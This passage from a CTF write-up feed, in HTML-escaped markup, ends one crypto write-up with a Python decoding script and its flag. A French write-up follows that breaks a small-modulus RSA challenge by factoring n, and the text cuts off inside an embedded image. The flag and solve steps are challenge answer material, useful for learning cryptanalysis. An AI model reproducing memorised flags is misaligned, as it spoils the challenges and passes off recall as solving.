&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function z-python&quot;&gt;&lt;span class=&quot;z-storage z-type z-function z-python&quot;&gt;&lt;span class=&quot;z-keyword z-declaration z-function z-python&quot;&gt;def&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-entity z-name z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;maptofarm&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-parameters z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-parameters z-python&quot;&gt;&lt;span class=&quot;z-variable z-parameter z-python&quot;&gt;c&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-parameters z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-function z-begin z-python&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;	&lt;span class=&quot;z-keyword z-control z-flow z-assert z-python&quot;&gt;assert&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-logical z-python&quot;&gt;in&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-other z-constant z-python&quot;&gt;ALPHABET&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;	&lt;span class=&quot;z-keyword z-control z-flow z-return z-python&quot;&gt;return&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;F&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-begin z-python&quot;&gt;[&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-arguments z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;ALPHABET&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;index&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;c&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-end z-python&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;inv_F&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-mapping z-empty z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-mapping z-begin z-python&quot;&gt;{&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-mapping z-end z-python&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; 
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;index&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;0&lt;&#x2F;span&gt;                                                               
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-statement z-loop z-for z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-loop z-for z-python&quot;&gt;for&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;i&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-control z-loop z-for z-in z-python&quot;&gt;in&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-loop z-for z-python&quot;&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;F&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-loop z-for z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-loop z-for z-python&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; 
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;    &lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;inv_F&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-begin z-python&quot;&gt;[&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-arguments z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;i&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-end z-python&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;index&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; 
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;    &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;index&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-assignment z-augmented z-python&quot;&gt;+=&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;1&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;inv_dict&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-mapping z-empty z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-mapping z-begin z-python&quot;&gt;{&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-mapping z-end z-python&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;index&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;0&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-statement z-loop z-for z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-loop z-for z-python&quot;&gt;for&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;i&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-control z-loop z-for z-in z-python&quot;&gt;in&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-loop z-for z-python&quot;&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-other z-constant z-python&quot;&gt;ALPHABET&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-loop z-for z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-loop z-for z-python&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; 
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;     &lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;inv_dict&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-begin z-python&quot;&gt;[&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-arguments z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;i&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-end z-python&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;index&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; 
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;     &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;index&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-assignment z-augmented z-python&quot;&gt;+=&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;1&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;key_target&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;F&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-begin z-python&quot;&gt;[&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-arguments z-python&quot;&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;8&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-end z-python&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;maptofarm&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;Q&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-comment z-line z-number-sign z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-python&quot;&gt;#&lt;&#x2F;span&gt; Key used to compute value
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;res&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;                                                                  
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-statement z-loop z-for z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-loop z-for z-python&quot;&gt;for&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;i&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-control z-loop z-for z-in z-python&quot;&gt;in&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-loop z-for z-python&quot;&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;enc&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-statement z-loop z-for z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-block z-loop z-for z-python&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; 
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;    &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;res&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-augmented z-python&quot;&gt;+=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-other z-constant z-python&quot;&gt;ALPHABET&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-begin z-python&quot;&gt;[&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-arguments z-python&quot;&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;inv_F&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-begin z-python&quot;&gt;[&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-arguments z-python&quot;&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;F&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-begin z-python&quot;&gt;[&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-arguments z-python&quot;&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;inv_dict&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-begin z-python&quot;&gt;[&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-arguments z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;i&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-end z-python&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-end z-python&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator z-arithmetic z-python&quot;&gt;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;key_target&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-end z-python&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-brackets z-end z-python&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;base64&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;b64decode&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;res&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;and the flag is &lt;code&gt;CCTF{EnCrYp7I0n_4nD_5u8STitUtIn9_iN_Fi3Ld!}&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Baby</title>
        <published>2021-07-27T00:00:00+00:00</published>
        <updated>2021-07-27T00:00:00+00:00</updated>
        
        <author>
          <name>
            carcajou
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/redpwn/baby/"/>
        <id>https://yctf.ch/writeups/redpwn/baby/</id>
        
        <content type="html" xml:base="https://yctf.ch/writeups/redpwn/baby/">&lt;h1 id=&quot;baby&quot;&gt;Baby&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;n: 228430203128652625114739053365339856393&lt;&#x2F;p&gt;
&lt;p&gt;e: 65537&lt;&#x2F;p&gt;
&lt;p&gt;c: 126721104148692049427127809839057445790&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Lien ctftime pour voir d&#x27;autres writeups : &lt;a href=&quot;https:&#x2F;&#x2F;ctftime.org&#x2F;writeup&#x2F;29247&quot;&gt;https:&#x2F;&#x2F;ctftime.org&#x2F;writeup&#x2F;29247&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;principe&quot;&gt;Principe&lt;&#x2F;h2&gt;
&lt;p&gt;On peut voir que n est très petit, ce qui sous-entendant qu&#x27;il est possible de le factoriser afin de retrouver p et q.&lt;&#x2F;p&gt;
&lt;p&gt;On peut le faire en utilisant SageMath : &lt;strong&gt;factor(n)&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Une fois p et q obtenue, on peut alors calculer phi(n)
&lt;img src=&quot;data:image&#x2F;svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20width%3D%22131.10222222222225pt%22%20height%3D%2213.943999999999999pt%22%20class%3D%22typst-doc%22%20viewBox%3D%220%200%20131.10222222222225%2013.943999999999999%22%3E%3Cstyle%3E%3Aroot%20%7B%0A%09--t%3A%20%23000000%3B%0A%09--b%3A%20%23ffffff%3B%0A%09--m%3A%20%23d5d5d5%3B%0A%09--l%3A%20%230074d9%3B%0A%09--r%3A%20%23ff4136%3B%0A%09--g%3A%20%232ecc40%3B%0A%09--p%3A%20%23f012be%3B%0A%09--y%3A%20%23ffdc00%3B%0A%7D%0A%0A%40media%20%28prefers-color-scheme%3A%20dark%29%20%7B%0A%09%3Aroot%20%7B%0A%09%09--t%3A%20%23ffffff%3B%0A%09%09--b%3A%20%23000000%3B%0A%09%09--m%3A%20%237a7a7a%3B%0A%09%7D%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%20%7B%0A%09fill%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%20%7B%0A%09fill%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09fill%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%20%7B%0A%09fill%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%20%7B%0A%09fill%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-